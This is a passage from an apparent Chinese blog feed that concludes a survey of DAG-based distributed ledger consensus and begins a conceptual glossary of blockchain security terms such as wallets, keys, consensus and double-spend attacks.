与上述方案在数据组织方式上略有不同,但核心思想是一致的.</p><p>基于平行链结构的DAG账本在结构上具有较强的一致性,其<strong>账本由若干条相对独立的单链构成,每条单链由对等的实体或实体集合维护,此后,这些实体间通过一定机制进行共识</strong>.Hashgraph 中每个成员维护一条单链,通过成员间的虚拟投票选举知名见证事件,并据此对账本中所有事件排序,完成无领导拜占庭共识;Nano 中每个账户维护一条单链,通过 DPoS 机制选举系统代表,当账本中出现冲突交易时,这些代表通过投票来进行仲裁;DEXON 中每个实体集合维护一条单链,使用改进后的 Algorand 协议进行共识,此后,这些实体间通过运行全局排序算法确定 DAG 账本的区块全序.</p><p>基于朴素 DAG 的账本<strong>相对缺乏一致的形式,但它们均采用了某种投票机制作为其共识核心</strong>.DagCoin 中每个新交易对其直接或间接引用的交易贡献确认分数,冲突交易中最终确认分数高者合法;IOTA 继承了 DagCoin的思想,每个新交易对其验证并引用的交易贡献累计权重,当某个交易累计权重足够高时认定其合法;SPECTRE 中每个区块需要对 DAG 视图中的冲突区块进行投票,根据投票结果判断区块及其包含的冲突交易的先后顺序,以此完成交易合法性判定;PHANTOM 通过划分区块集合对诚实节点和恶意节点产生的区块做出区分,并在区块排序时优先选择诚实节点所在集合的区块,以此原则对账本进行全局排序;Meshcash 中区块通过投票边对若干轮之前的区块进行投票,并根据投票结果对区块合法性进行判定;Avalanche 中每个节点通过多轮随机抽样查询周围节点某个交易的合法性判断,并在过程中调整自己的结果,重复多次后各个节点达成一致性判断.</p><p>总体而言,不同类型的 DAG 账本由于其形式不同,在设计思路上具有较大差别.而即便对于同类型的 DAG账本,它们在协议实现方式上也仍有较大不同,这使得基于 DAG 的分布式账本共识机制呈现出多样化特点.</p><h4 id="3-1-2-安全性分析"><a href="#3-1-2-安全性分析" class="headerlink" title="3.1.2 安全性分析"></a>3.1.2 安全性分析</h4><p>无论以交易为基本单元的 Byteball 还是以区块为基本单元的GHOST等协议,其核心都是共识主干链.在此基础上,利用主干链对 DAG 账本进行拓扑排序可以得到账本的交易全序,并且,此全序的稳定性可以规约到主干链的稳定性.<strong>由于在DAG账本中共识主干链与传统区块链中共识主链颇有相似之处,而目前针对传统区块链共识协议的安全性分析已有较为成熟的研究,可以借鉴其分析思路对基于DAG账本的共识协议进行安全性分析</strong>.如Kiayias 和 Panagiotakos 将 Garay 等人对比特币的安全性证明思路应用于 GHOST 协议,并证明了其满足一致性与活性.</p><p>基于平行链的DAG账本可以看作是单链结构的横向扩展,每条单链由对等的实体维护,实体间通过协议进行共识.由于其具有较为规则的拓扑结构,部分方案可以利用此优势进行安全性分析,如 Hashgraph 证明了当恶意成员占比小于 1/3 时,其共识机制一致性与收敛性.但相比之下,由于<strong>基于朴素 DAG 的账本缺乏规则的结构,其共识机制往往较为复杂且难以构建安全模型,这导致了一些现有的方案并未给出严格的安全性证明</strong>.</p><h4 id="3-1-3-智能合约支持"><a href="#3-1-3-智能合约支持" class="headerlink" title="3.1.3 智能合约支持"></a>3.1.3 智能合约支持</h4><p><strong>区块链对于智能合约的支持最早由比特币实现,之后以太坊(Ethereum)通过图灵完备的语言对它做出了重要发展</strong>.由于智能合约具有可编程特性,且能够在无需可信第三方的条件下自动执行,使得它在分布式账本中得到了广泛应用.<strong>部署智能合约的前提是账本具有交易全序特性,否则,一旦账本中交易顺序发生改变,合约的执行结果将产生不确定性.</strong></p><p>在上述不同形态的账本中,基于主干链的 DAG 账本能够利用主干链确定全局交易顺序;在基于平行链的DAG账本中,Hashgraph 和 DEXON都利用其相对规则的结构实现交易的全局排序;而基于朴素 DAG的账本因其结构复杂,除 PHANTOM 之外均不能对账本进行全局排序.因此<strong>总体而言,基于主干链的 DAG 账本和基于平行链结构的 DAG 账本对智能合约的支持度最高,而基于朴素 DAG 的账本难以提供对于智能合约的支持</strong>.</p><h3 id="3-2-不同数据组织方式的账本特性分析"><a href="#3-2-不同数据组织方式的账本特性分析" class="headerlink" title="3.2 不同数据组织方式的账本特性分析"></a>3.2 不同数据组织方式的账本特性分析</h3><p>传统单链结构的区块链以区块为基本单位,每个区块包含若干笔交易.而基于DAG的分布式账本有两种形式:以区块为基本单位和以交易为基本单位.如表 2 所示,前者的代表有 GHOST、Conflux、Hashgraph 等,我们称其为<strong>基于区块的 DAG 账本(block-based DAG,简称 BDAG)</strong>;后者包括IOTA、Byteball、Nano 等,我们称其为<strong>基于交易的 DAG 账本(transaction-based DAG,简称 TDAG)</strong>.数据组织方式的不同,导致 BDAG 和 TDAG 在账本操作权限、网络开销及对轻客户端支持等方面都存在差异.</p><h4 id="3-2-1-账本操作权限"><a href="#3-2-1-账本操作权限" class="headerlink" title="3.2.1 账本操作权限"></a>3.2.1 账本操作权限</h4><p><strong>账本操作权限的不同是BDAG和TDAG的核心差异之一</strong>.在BDAG中,用户发出的交易首先经P2P网络被矿工节点接收,只有当矿工将其放入新区块之后该交易才进入账本.因此,BDAG 实质上仅向矿工开放了账本操作权限,普通用户在没有成为矿工并投入一定资源的前提下不能直接影响账本状态.而在 TDAG 中,只要用户发出的交易遵循 TDAG 的基本准入规则,收到该交易的其他全节点都会将其直接写入本地账本,此后再根据共识协议判定其最终合法性.<strong>从这一角度来看,TDAG 向所有参与用户开放了账本操作权限</strong>.</p><p>操作权限上的差异导致了 BDAG 和 TDAG 在抵御泛洪攻击上有较大不同.在 BDAG 中,矿工起到“筛选过滤”作用,当收到双花交易时会将其直接丢弃而不进行转发,这使得攻击者利用双花交易进行泛洪攻击不能奏效.但在 TDAG 中不存在起到过滤作用的矿工角色,为了避免视图分割,当全节点收到没有拓扑偏序的双花交易时只能将其都放入账本,此后再通过共识协议判定哪个交易合法,而不能直接选择性丢弃.在这种情况下,攻击者可以制造大量不存在拓扑偏序的双花交易进行泛洪攻击,极大程度地增加了系统的共识开销及存储开销.针对这一问题,通过规定每笔交易附带一定量的工作量证明可以增加攻击者的成本,从而使得该类型攻击得到一定程度的遏制.</p><h4 id="3-2-2-网络开销"><a href="#3-2-2-网络开销" class="headerlink" title="3.2.2 网络开销"></a>3.2.2 网络开销</h4><p>在TDAG中,交易只需要一次广播即可进入全节点账本.而在BDAG中,任何一笔交易在加入账本前都需要两次广播,第 1 次为用户发起交易后通过 P2P 网络将其广播给全网矿工,第 2 次为矿工产生包含该交易的区块并将区块广播给其他节点.<strong>从这一角度来看,TDAG 在单笔交易所需的网络开销上要优于 BDAG</strong>.</p><p>此外,TDAG以交易为单位进行账本写入操作,而 BDAG以区块为单位进行.TDAG中的交易一经发出即可被全网节点接收并写入账本,而 BDAG 中区块只有经过一定区块间隔(block interval)才会产生,并且相比于交易,区块的网络传播时延更高.两个因素的综合作用下,以交易为基本单元的TDAG 在交易确认时间方面往往优于以区块为基本单元的 BDAG.而且从数据处理角度来看,TDAG 能够实时地利用网络资源处理交易,而 BDAG只在区块产生时才真正利用网络资源,因此 TDAG 中网络利用率更高,能够更好地支持并发.</p><h4 id="3-2-3-轻客户端支持"><a href="#3-2-3-轻客户端支持" class="headerlink" title="3.2.3 轻客户端支持"></a>3.2.3 轻客户端支持</h4><p>对于普通用户来说,成为全节点并维护整个账本所需要的存储代价、网络开销等过高,事实上,他们只需要关心与自己账户地址相关的交易等信息,而无需保存全部账本数据.在此情形下,用户只需维护一个轻量级客户端,存储与自己账户相关的信息.数据组织方式的差异导致 TDAG 和 BDAG 在轻客户端创建交易上略有不同.</p><p>在BDAG中,轻客户端在创建交易时只需要确定交易的输入输出,并在签名之后将其广播即可,而无需了解网络中的最新账本状态.但在 TDAG 中,交易直接构成 DAG 拓扑结构的一部分,用户创建交易时需要验证并引用DAG账本中最新的端节点,这就要求轻客户端与网络实时同步最新账本状态.但这种方式给轻客户端带来了较大的网络及存储开销,违背了轻客户端的设计初衷.为此,可以考虑让轻节点在每次创建交易时先向全节点发起请求,由全节点为其提供所需要的引用信息,但这也带来了全节点恶意欺骗的风险.<strong>因此,相比之下 TDAG 对于轻客户端的支持性要弱于 TDAG</strong>.</p><p><img src="3-2-1.jpg" alt=""></p><h2 id="4-问题与挑战"><a href="#4-问题与挑战" class="headerlink" title="4.问题与挑战"></a>4.问题与挑战</h2><p>基于DAG的分布式账本在并发性上具有独特优势,有望突破传统区块链的性能瓶颈.但作为一个崭新的领域,现有的研究中仍存在不少挑战.本节我们对共识机制的安全性、账本的功能可扩展性等方面存在的问题与挑战进行讨论.</p><h3 id="4-1-共识机制的安全性"><a href="#4-1-共识机制的安全性" class="headerlink" title="4.1 共识机制的安全性"></a>4.1 共识机制的安全性</h3><p>目前已有数十种基于 DAG 的分布式账本被提出,然而,当前学术界对于它们的安全性研究还较为匮乏.这一现象产生的主要原因在于,<strong>与相对易于建模分析的单链共识协议相比,基于 DAG 的共识协议因其结构复杂,大多数极难构建安全模型.</strong>在第 3.1.2 节中我们提到,部分基于主干链与基于平行链的 DAG 账本具有一定的规则结构,因此有学者对其进行了建模及安全性研究,然而这一研究也仅限于个别方案.除此之外,基于朴素DAG的账本因其拓扑结构更为复杂,目前尚无广泛认可的安全性证明框架.共识机制的安全性对于分布式账本中具有基础意义,因而针对现有方案的安全性分析甚至更为通用的安全性证明框架亟待深入研究.</p><h3 id="4-2-账本的功能可扩展性"><a href="#4-2-账本的功能可扩展性" class="headerlink" title="4.2 账本的功能可扩展性"></a>4.2 账本的功能可扩展性</h3><p>基于 DAG 的分布式账本由于其独特的并发性优势,能够有效解决传统单链结构的区块链中存在的吞吐量低等性能瓶颈.而在性能可扩展性之外,功能的可扩展性同样值得重视,其中<strong>最为突出的是账本对于智能合约和轻客户端的支持</strong>.</p><p>传统单链结构的区块链具有天然的交易全序特性,但基于 DAG 的分布式账本呈现出并发情形下的分叉特性,使得部分账本不能确定交易的全局顺序.如第 3.1.3 节中所述,这些DAG账本不具有支持智能合约的基础.但即便对于能够支持智能合约的DAG账本,现阶段它们在智能合约的设计和部署上也没有突破性进展.总体而言,基于 DAG 的分布式账本的智能合约仍处于研究与开发阶段,学术界和产业界还未形成一定的标准,仍需进一步研究.</p><p>除智能合约外,分布式账本对轻客户端的支持也非常重要.在第 3.2.3 节中,我们讨论了 TDAG 和 BDAG 在发送交易层面对轻客户端的支持性,除此之外,轻客户端还需要能够安全地获取与用户地址相关的交易,即接收交易.比特币中采用 SPV(simplified payment verification)机制实现该功能,轻客户端保存当前最长链的区块头信息,全节点通过默克尔树构造与用户地址相关的交易的存在性证明,并将其返回给轻客户端.此时,轻客户端能够利用区块头信息验证该证明的合法性,从而防止全节点通过伪造账本中不存在的交易进行作恶.但对于 DAG账本,除基于主干链的DAG账本外,其余账本难以向轻节点提供用于验证的区块头信息.此外,所有的DAG账本中都可能包含有冲突的交易,全节点能够利用完整账本中的信息判断哪个交易合法,但难以向轻客户端提供该合法性证明,这进一步提高了对轻客户端支持的难度.从比特币的发展角度来看,是否支持轻客户端,对于整个系统能否广泛应用具有重要影响,因此,DAG 账本对轻客户端的支持性同样需要重视.</p><h3 id="4-3-其他常见挑战"><a href="#4-3-其他常见挑战" class="headerlink" title="4.3 其他常见挑战"></a>4.3 其他常见挑战</h3><p>以下列出其他方面的挑战与值得研究的问题.<br><strong>视图分割攻击</strong>.在 TDAG 中,一旦有一对双花 tx<del>1</del>,tx<del>2</del>从不同位置同时发出并广播到全网,很有可能会导致网络中一半的后续交易引用tx<del>1</del>而另一半引用tx<del>2</del>.在此情形下,如果规定互相冲突的交易只有一个能够加入账本而另一个被拒绝,则势必导致全网节点的视图出现分割.这一问题在同时出现多对双花交易,或多个交易双花同一笔输入的情况下尤为严重.为避免出现该问题,TDAG 中往往允许这些冲突交易同时加入账本,之后再通过共识协议进行冲突交易的合法性判定.但即便如此,如第 3.2.1 节所述,攻击者仍然可以利用此规则向网络中发送大量冲突交易,造成网络带宽的浪费以及共识和存储成本的增加.</p><p><strong>中心化问题</strong>.一些 DAG 账本的共识协议依赖于特殊的“高级”参与者,如Hashgraph 中的荣誉节点或者Byteball 中的见证人.这些特殊节点在方案设计之初均设定为现实世界中具有声望的实体组织或个人,但在实际执行中往往依赖于方案提出者的运营和组织,并且在运行时难以随时进行必要的替换.除此之外,部分方案出于安全考虑,会在固有共识机制的基础上引入特殊节点,如 IOTA 中引入协调节点定期发布检查点进行交易确认,同样存在一定程度的中心化问题.</p><p><strong>工程实现难题</strong>.每个 DAG 账本都会对新单元设置基本准入规则,如某交易加入后账本拓扑仍需满足 DAG性质,或新单元加入后账本拓扑依然满足紧致性等(见第 1.3 节).前者可以通过验证新加入单元的所有引用单元是否已经出现在DAG账本中来解决;但后者的判断则要困难得多,尤其是考虑到在高并发情况下需要对每个新加入的单元验证其是否满足该约束,节点的处理开销非常高,极端情况下甚至会影响系统的并发性.</p><h2 id="5-总结与展望"><a href="#5-总结与展望" class="headerlink" title="5.总结与展望"></a>5.总结与展望</h2><p>近年来,基于DAG的分布式账本受到了学术界与产业界的高度关注,以解决传统区块链在可扩展性上的瓶颈为目的,数十种基于 DAG 的分布式账本被提了出来.本文中,我们首先介绍了经典共识机制、区块链共识机制及可扩展性研究,随后对基于 DAG 的分布式账本共识机制的发展现状进行了深入阐释.在此基础上,我们从共识形态和数据组织方式两个层面对每一类 DAG 账本的特点、优劣及应用等进行了详细的分析.此外,我们还对共识机制的安全性等其他方面的挑战进行讨论,指出现有基于 DAG 的分布式账本技术发展中仍面临的问题.</p><p>基于 DAG 的分布式账本继承和发展于传统单链结构的区块链账本,在利用 DAG 作为底层结构以提升账本并发性能和可扩展性的同时,它广泛吸收和借鉴了传统区块链的共识思想.结合区块链共识机制的发展思路以及DAG分布式账本自身特性,我们认为未来该领域的研究会有以下发展:(1) 从PoW向 Po-X的演进,更多基于 Po-X 的 DAG 账本将会被提出.随着以 PoS 和 PoC 为代表的 Po-X 研究的深入推进,该技术也将更多地被应用于基于 DAG 的分布式账本共识机制设计当中;(2) 将基于动态委员会(包括单委员会方案和结合分片技术的多委员会方案)的混合共识协议引入 DAG 共识中,以提高共识效率.该机制以去中心化的方式动态维护委员会,使得该委员会能够通过更具效率的有准入共识机制来实现交易确认和账本收敛;(3) 以区块链的安全分析模型为基础,基于 DAG 的分布式账本共识机制安全性分析框架将会得到发展和突破,这将成为DAG账本安全稳定发展的基石;(4) 一部分研究者会将目光集中在DAG账本的功能可扩展性上,尤其是对智能合约和轻客户端的支持,以适用于更多的应用场景.从最新的进展来看,一些学者也正致力于该方向的研究.</p><script> document.querySelectorAll('.github-emoji') .forEach(el => { if (!el.dataset.src) { return; } const img = document.createElement('img'); img.style = 'display:none !important;'; img.src = el.dataset.src; img.addEventListener('error', () => { img.remove(); el.style.color = 'inherit'; el.style.backgroundImage = 'none'; el.style.background = 'none'; }); img.addEventListener('load', () => { img.remove(); }); document.body.appendChild(img); }); </script>]]></content>
<categories>
<category> DAG </category>
</categories>
</entry>
<entry>
<title>BlockChain Security</title>
<link href="/2020/05/23/qu-kuai-lian-gong-ji-fang-shi/"/>
<url>/2020/05/23/qu-kuai-lian-gong-ji-fang-shi/</url>
<content type="html"><![CDATA[<blockquote><p>本文主要介绍一些与区块链安全相关的网络攻击知识,旨在让新手们更快适应区块链危机四伏的安全攻防世界。</p></blockquote><h1 id="Part1"><a href="#Part1" class="headerlink" title="Part1"></a>Part1</h1><h2 id="钱包-Wallet"><a href="#钱包-Wallet" class="headerlink" title="钱包 Wallet"></a>钱包 Wallet</h2><p>钱包(Wallet)是一个管理私钥的工具,数字货币钱包形式多样,但它通常包含一个软件客户端,允许使用者通过钱包检查、存储、交易其持有的数字货币。它是进入区块链世界的基础设施和重要入口。</p><p>据 SlowMist Hacked 统计,仅 2018 年因“钓鱼”、“第三方劫持”等原因所造成的钱包被黑损失总金额就达 69,160,985 美元,深究根本,除了部分钱包本身对攻击防御的不全面之外,最主要的是钱包持有者们的安全防范意识不强。</p><h2 id="冷钱包-Cold-Wallet"><a href="#冷钱包-Cold-Wallet" class="headerlink" title="冷钱包 Cold Wallet"></a>冷钱包 Cold Wallet</h2><p>冷钱包(Cold Wallet)是一种脱离网络连接的离线钱包,将数字货币进行离线储存的钱包。使用者在一台离线的钱包上面生成数字货币地址和私钥,再将其保存起来。冷钱包是在不需要任何网络的情况下进行数字货币的储存,因此黑客是很难进入钱包获得私钥的,但它也不是绝对安全的,随机数不安全也会导致这个冷钱包不安全,此外硬件损坏、丢失也有可能造成数字货币的损失,因此需要做好密钥的备份。</p><h2 id="热钱包-Hot-Wallet"><a href="#热钱包-Hot-Wallet" class="headerlink" title="热钱包 Hot Wallet"></a>热钱包 Hot Wallet</h2><p>热钱包(Hot Wallet)是一种需要网络连接的在线钱包,在使用上更加方便。但由于热钱包一般需要在线使用,个人的电子设备有可能因误点钓鱼网站被黑客盗取钱包文件、捕获钱包密码或是破解加密私钥,而部分中心化管理钱包也并非绝对安全。因此在使用中心化交易所或钱包时,最好在不同平台设置不同密码,且开启二次认证,以确保自己的资产安全。</p><h2 id="公钥-Public-Key"><a href="#公钥-Public-Key" class="headerlink" title="公钥 Public Key"></a>公钥 Public Key</h2><p>公钥(Public Key)是和私钥成对出现的,和私钥一起组成一个密钥对,保存在钱包中。公钥由私钥生成,但是无法通过公钥倒推得到私钥。公钥能够通过一系列算法运算得到钱包的地址,因此可以作为拥有这个钱包地址的凭证。</p><h2 id="私钥-Private-Key"><a href="#私钥-Private-Key" class="headerlink" title="私钥 Private Key"></a>私钥 Private Key</h2><p>私钥(Private Key)是一串由随机算法生成的数据,它可以通过非对称加密算法算出公钥,公钥可以再算出币的地址。私钥是非常重要的,作为密码,除了地址的所有者之外,都被隐藏。区块链资产实际在区块链上,所有者实际只拥有私钥,并通过私钥对区块链的资产拥有绝对控制权,因此,区块链资产安全的核心问题在于私钥的存储,拥有者需做好安全保管。</p><p>和传统的用户名、密码形式相比,使用公钥和私钥交易最大的优点在于提高了数据传递的安全性和完整性,因为两者——对应的关系,用户基本不用担心数据在传递过程中被黑客中途截取或修改的可能性。同时,也因为私钥加密必须由它生成的公钥解密,发送者也不用担心数据被他人伪造。</p><h2 id="助记词-Mnemonic"><a href="#助记词-Mnemonic" class="headerlink" title="助记词 Mnemonic"></a>助记词 Mnemonic</h2><p>由于私钥是一长串毫无意义的字符,比较难以记忆,因此出现了助记词(Mnemonic)。助记词是利用固定算法,将私钥转换成十多个常见的英文单词。助记词和私钥是互通的,可以相互转换,它只是作为区块链数字钱包私钥的友好格式。所以在此强调:助记词即私钥!由于它的明文性,不建议它以电子方式保存,而是抄写在物理介质上保管好,它和 Keystore 作为双重备份互为补充。</p><h2 id="Keystone"><a href="#Keystone" class="headerlink" title="Keystone"></a>Keystone</h2><p>Keystore 主要在以太坊钱包 App 中比较常见(比特币类似以太坊 Keystore 机制的是:BIP38),是把私钥通过钱包密码再加密得来的,与助记词不同,一般可保存为文本或 JSON 格式存储。换句话说,Keystore 需要用钱包密码解密后才等同于私钥。因此,Keystore 需要配合钱包密码来使用,才能导入钱包。当黑客盗取 Keystore 后,在没有密码情况下, 有可能通过暴力破解 Keystore 密码解开 Keystore,所以建议使用者在设置密码时稍微复杂些,比如带上特殊字符,至少 8 位以上,并安全存储。</p><hr><h1 id="Part2"><a href="#Part2" class="headerlink" title="Part2"></a>Part2</h1><h2 id="公链-Public-Blockchain"><a href="#公链-Public-Blockchain" class="headerlink" title="公链 Public Blockchain"></a>公链 Public Blockchain</h2><p>公有链(Public Blockchain)简称公链,是指全世界任何人都可随时进入读取、任何人都能发送交易且能获得有效确认的共识区块链。公链通常被认为是完全去中心化的,链上数据都是公开透明的,不可更改,任何人都可以通过交易或挖矿读取和写入数据。一般会通过代币机制(Token)来鼓励参与者竞争记账,来确保数据的安全性。</p><p>由于要检测所有的公链的工作量非常大,只靠一家公司不可能监测整个区块链生态安全问题,这就导致了黑客极有可能在众多公链之中找寻到漏洞进行攻击。2017 年 4 月 1 日,Stellar 出现通胀漏洞,一名攻击者利用此漏洞制造了 22.5 亿的 Stellar 加密货币 XLM,当时价值约 1000 万美元。</p><h2 id="交易所-Exchange"><a href="#交易所-Exchange" class="headerlink" title="交易所 Exchange"></a>交易所 Exchange</h2><p>与买卖股票的证券交易所类似,区块链交易所即数字货币买卖交易的平台。数字货币交易所又分为中心化交易所和去中心化交易所。</p><p><strong>去中心化交易所:</strong>交易行为直接发生在区块链上,数字货币会直接发回使用者的钱包,或是保存在区块链上的智能合约。这样直接在链上交易的好处在于交易所不会持有用户大量的数字货币,所有的数字货币会储存在用户的钱包或平台的智能合约上。去中心化交易通过技术手段在信任层面去中心化,也可以说是无需信任,每笔交易都通过区块链进行公开透明,不负责保管用户的资产和私钥等信息,用户资金的所有权完全在自己手上,具有非常好的个人数据安全和隐私性。目前市面上的去中心化交易所有 WhaleEx、Bancor、dYdX 等</p><p><strong>中心化交易所:</strong>目前热门的交易所大多都是采用中心化技术的交易所,使用者通常是到平台上注册,并经过一连串的身份认证程序(KYC)后,就可以开始在上面交易数字货币。用户在使用中心化交易所时,其货币交换不见得会发生在区块链上,取而代之的可能仅是修改交易所数据库内的资产数字,用户看到的只是账面上数字的变化,交易所只要在用户提款时准备充足的数字货币可供汇出即可。当前的主流交易大部分是在中心化交易所内完成的,目前市面上的中心化交易所有币安,火币,OKEx 等。</p><p>由于交易所作为连接区块链世界和现实世界的枢纽,储存了大量数字货币,它非常容易成为黑客们觊觎的目标,截止目前全球数字货币交易所因安全问题而遭受损失金额已超过 29 亿美元(数据来源 SlowMist Hacked)。</p><h2 id="节点Node"><a href="#节点Node" class="headerlink" title="节点Node"></a>节点Node</h2><p>在传统互联网领域,企业所有的数据运行都集中在一个中心化的服务器中,那么这个服务器就是一个节点。由于区块链是去中心化的分布式数据库,是由千千万万个“小服务器”组成。区块链网络中的每一个节点,就相当于存储所有区块数据的每一台电脑或者服务器。所有新区块的生产,以及交易的验证与记帐,并将其广播给全网同步,都由节点来完成。节点分为“全节点”和“轻节点”,全节点就是拥有全网所有的交易数据的节点,那么轻节点就是只拥有和自己相关的交易数据节点。由于每一个全节点都保留着全网数据,这意味着,其中一个节点出现问题,整个区块链网络世界也依旧能够安全运行,这也是去中心化的魅力所在。</p><h2 id="RPC"><a href="#RPC" class="headerlink" title="RPC"></a>RPC</h2><p>远程过程调用(Remote Procedure Call,缩写为 RPC)是一个计算机通信协议。以太坊 RPC 接口是以太坊节点与其他系统交互的窗口,以太坊提供了各种 RPC 调用:HTTP、IPC、WebSocket 等等。在以太坊源码中,server.go 是核心逻辑,负责 API 服务的注入,以及请求处理、返回。http.go 实现 HTTP 的调用,websocket.go 实现 WebSocket 的调用,ipc.go 实现 IPC 的调用。以太坊节点默认在 8545 端口提供了 JSON RPC 接口,数据传输采用 JSON 格式,可以执行 Web3 库的各种命令,可以向前端(例如 imToken、Mist 等钱包客户端)提供区块链上的信息。</p><hr><h1 id="Part3"><a href="#Part3" class="headerlink" title="Part3"></a>Part3</h1><h2 id="共识-Consensus"><a href="#共识-Consensus" class="headerlink" title="共识 Consensus"></a>共识 Consensus</h2><p>共识算法主要是解决分布式系统中,多个节点之间对某个状态达成一致性结果的问题。分布式系统由多个服务节点共同完成对事物的处理,分布式系统中多个副本对外呈现的数据状态需要保持一致性。由于节点的不可靠性和节点间通讯的不稳定性,甚至节点作恶,伪造信息,使得节点之间出现数据状态不一致的问题。通过共识计算,可以将多个不可靠的单独节点组建成一个可靠的分布式系统,实现数据状态的一致性,提高系统的可靠性。</p><p>区块链系统本身作为一个超大规模的分布式系统,但又与传统的分布式系统存在明显区别。由于它不依赖于任何一个中央权威,系统建立在去中心化的点对点网络基础之上,因此分散的节点需要就交易的有效与否达成一致,这就是共识算法发挥作用的地方,即确保所有节点都遵守协议规则并保证所有交易都以可靠的方式进行。由共识算法实现在分散的节点间对交易的处理顺序达成一致,这是共识算法在区块链系统中起到的最主要作用。</p><p>区块链系统中的共识算法还承担着区块链系统中激励模型和治理模型中的部分功能,为了解决在对等网络中(P2P),相互独立的节点如何达成一项决议问题的过程。简而言之,共识算法是在解决分布式系统中如何保持一致性的问题。</p><h2 id="工作量证明PoW-Proof-of-Work"><a href="#工作量证明PoW-Proof-of-Work" class="headerlink" title="工作量证明PoW(Proof of Work)"></a>工作量证明PoW(Proof of Work)</h2><p>PoW(Proof of Work)是历史上第一个成功的去中心化区块链共识算法。工作量证明是大多数人所熟悉的,被比特币、以太坊,莱特币等主流公链广泛使用。</p><p>工作量证明要求节点参与者执行计算密集型的任务,但是对于其他网络参与者来说易于验证。在比特币的例子中,矿工竞相向由整个网络维护的区块链账本中添加所收集到的交易,即区块。为了做到这一点,矿工必须第一个准确计算出“nonce”,这是一个添加在字符串末尾的数字,用来创建一个满足开头特定个数为零的哈希值。不过存在采矿的大量电力消耗和低交易吞吐量等缺点。</p><h2 id="权益证明-PoS-Proof-of-Stake"><a href="#权益证明-PoS-Proof-of-Stake" class="headerlink" title="权益证明 PoS(Proof of Stake)"></a>权益证明 PoS(Proof of Stake)</h2><p>PoS(Proof of Stake)——权益证明机制,一种主流的区块链共识算法,目的是为了让区块链里的分布式节点达成共识,它往往和工作量证明机制(Proof of Work)一起出现,两种都被认为是区块链共识算法里面的主流算法之一。作为一种算法,它通过持币人的同意来达成共识,目的是确定出新区块,这过程相对于 PoW,不需要硬件和电力,且效率更高。</p><p>PoS 共识中引入了 Stake 的概念,持币人将代币进行 Staking,要求所有的参与者抵押一部分他们所拥有的 Token 来验证交易,然后获得出块的机会,PoS 共识中会通过选举算法,按照持币量比例以及 Token 抵押时长,或者是一些其他的方式,选出打包区块的矿工。矿工在指定高度完成打包交易,生成新区块,并广播区块,广播的区块经过 PoS 共识中另外一道”门槛”,验证人验证交易,通过验证后,区块得到确认。这样一轮 PoS 的共识过程就进行完成了。权益证明通过长期绑定验证者的利益和整个网络的利益来阻止不良行为。锁定代币后,如果验证者存在欺诈性交易,那么他们所抵押的 Token 也会被削减。</p><h2 id="委托权益证明-DPoS-Delegate-Proof-of-Stake"><a href="#委托权益证明-DPoS-Delegate-Proof-of-Stake" class="headerlink" title="委托权益证明 DPoS(Delegate Proof of Stake)"></a>委托权益证明 DPoS(Delegate Proof of Stake)</h2><p>委托权益证明,其雏形诞生在 2013 年 12 月 8 日,Daniel Larimer 在 bitsharetalk 首次谈及用投票选择出块人的方式,代替 PoS 中可能出现的选举随机数被操纵的问题。在 DPoS 中,让每一个持币者都可以进行投票,由此产生一定数量的代表 ,或者理解为一定数量的节点或矿池,他们彼此之间的权利是完全相等的。持币者可以随时通过投票更换这些代表,以维系链上系统的“长久纯洁性”。在某种程度上,这很像是国家治理里面的代议制,或者说是人大代表制度。这种制度最大的好处就是解决了验证人过多导致的效率低下问题,当然,这种制度也有很明显的缺点,由于 “代表”制度,导致其一直饱受中心化诟病。</p><h2 id="恶意挖矿攻击-Cryptojacking-Attack"><a href="#恶意挖矿攻击-Cryptojacking-Attack" class="headerlink" title="恶意挖矿攻击 Cryptojacking Attack"></a>恶意挖矿攻击 Cryptojacking Attack</h2><p>恶意挖矿攻击(Cryptojacking)是一种恶意行为,指未经授权的情况下劫持用户设备挖掘加密货币。通常,攻击者会劫持受害者设备(个人 PC 或服务器)的处理能力和带宽,由于加密货币挖掘需要大量算力,攻击者会尝试同时感染多个设备,这样他们能够收集到足够的算力来执行这种低风险和低成本的挖矿活动。</p><p>一般恶意挖矿软件会诱导用户在计算机上加载挖矿代码,或通过使用类似网络钓鱼的方法,如恶意链接、电子邮件或是在网站里植入挖矿脚本等方式,使系统无意中被隐藏的加密挖矿程序感染进而完成攻击行为。近年来,随着加密货币价格的上涨,更加复杂的恶意软件被开发出来,使恶意挖矿攻击事件层出不穷。</p><h2 id="无利益攻击-Nothing-at-Stake-Attack"><a href="#无利益攻击-Nothing-at-Stake-Attack" class="headerlink" title="无利益攻击 Nothing at Stake Attack"></a>无利益攻击 Nothing at Stake Attack</h2><p>无利益攻击(Nothing at Stake Attack),是在 PoS 共识机制下一个有待解决的问题,其问题的本质可以简单概括为“作恶无成本,好处无限多”。</p><p>当 PoS 共识系统出现分叉(Fork)时,出块节点可以在“不受任何损失”的前提下,同时在两个分叉上出块;无论哪一个分叉后面被公认为主链,该节点都可以获得“所有收益”且不会有任何成本损失。这就很容易给某些节点一种动力去产生新的分叉,支持或发起不合法交易,其他逐利的出块节点会同时在多条链(窗口)上排队出块支持新的分叉。随着时间的推移,分叉越来越多,非法交易,作恶猖狂。区块链将不再是唯一链,所有出块节点没有办法达成共识。</p><p>为了预防这样的情况发生,许多类 PoS 共识机制对此的解决方法是引入惩罚机制,对作恶的节点进行经济惩罚(Slashing),以建立更加稳定的网络。DPoS 实际上也是无利益攻击的解决方案之一,由上文我们可知 DPoS 这个机制由持币人选出出块节点来运营网络,出块节点会将一部分奖励分给投票者。</p><hr><h1 id="Part4"><a href="#Part4" class="headerlink" title="Part4"></a>Part4</h1><h2 id="多签Multi-sig"><a href="#多签Multi-sig" class="headerlink" title="多签Multi-sig"></a>多签Multi-sig</h2><p>多签(Multi-sig)指的是需要多个签名才能执行的操作(这些签名是不同私钥生成的)。这可用于提供更高的安全性,即使丢失单个私钥的话也不会让攻击者取得账户的权限,多个值得信赖的各方必须同时批准更新,否则无效。</p><p>我们都知道,一般来说一个比特币地址对应一个私钥,动用这个地址中的资金需要私钥的持有者发起签名才行。而多重签名技术,简单来说,就是动用一笔资金时需要多个私钥签名才有效。多签的一个优势就是可以多方对一笔付款一起达成共识,才能支付成功。</p><h2 id="双花攻击-Double-Spend-Attack"><a href="#双花攻击-Double-Spend-Attack" class="headerlink" title="双花攻击 Double Spend Attack"></a>双花攻击 Double Spend Attack</h2><p>双花攻击(Double Spend Attack)即一笔钱花了两次,双重支付,利用货币的数字特性两次或多次使用“同一笔钱”完成支付。双花不会产生新的 Token,但能把自己花出去的钱重新拿回来。简单说就是,攻击者将一笔 Token 